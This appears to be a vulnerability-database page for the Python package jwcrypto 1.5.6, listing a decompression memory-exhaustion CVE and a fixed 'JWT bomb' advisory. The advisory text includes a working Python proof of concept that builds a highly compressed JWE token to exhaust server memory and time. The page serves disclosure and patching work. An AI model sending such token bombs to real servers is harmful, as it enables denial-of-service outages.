Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:pypi/jwcrypto@1.5.6
purl pkg:pypi/jwcrypto@1.5.6
Next non-vulnerable version None.
Latest non-vulnerable version None.
Risk 3.4
Vulnerabilities affecting this package (1)
Vulnerability Summary Fixed by
VCID-9rtx-w9ry-rkcj
Aliases:
CVE-2026-39373
GHSA-fjrm-76x2-c4q4
JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to 1.5.7, an unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch for CVE-2024-28102 limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB. This vulnerability is fixed in 1.5.7. There are no reported fixed by versions.
Vulnerabilities fixed by this package (1)
Vulnerability Summary Aliases
VCID-ygj7-qwt8-sud5 JWCrypto vulnerable to JWT bomb Attack in `deserialize` function ## Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5 ## Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time. ## Poc ```python from jwcrypto import jwk, jwe from jwcrypto.common import json_encode, json_decode import time public_key = jwk.JWK() private_key = jwk.JWK.generate(kty='RSA', size=2048) public_key.import_key(**json_decode(private_key.export_public())) payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print("-----uncompress-----") print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) print("-----compress-----") payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) ``` It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785"> ## Mitigation To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens. ## References [1] [CVE-2024-21319](https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2) CVE-2024-28102
GHSA-j857-7rvv-vj97

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-08T19:02:30.148618+00:00 GHSA Importer Affected by VCID-9rtx-w9ry-rkcj https://github.com/advisories/GHSA-fjrm-76x2-c4q4 38.1.0
2026-04-01T16:04:46.612065+00:00 GHSA Importer Fixing VCID-ygj7-qwt8-sud5 https://github.com/advisories/GHSA-j857-7rvv-vj97 38.0.0
2026-04-01T12:52:36.947040+00:00 GitLab Importer Fixing VCID-ygj7-qwt8-sud5 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/jwcrypto/CVE-2024-28102.yml 38.0.0
2026-04-01T12:51:00.809194+00:00 GithubOSV Importer Fixing VCID-ygj7-qwt8-sud5 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-j857-7rvv-vj97/GHSA-j857-7rvv-vj97.json 38.0.0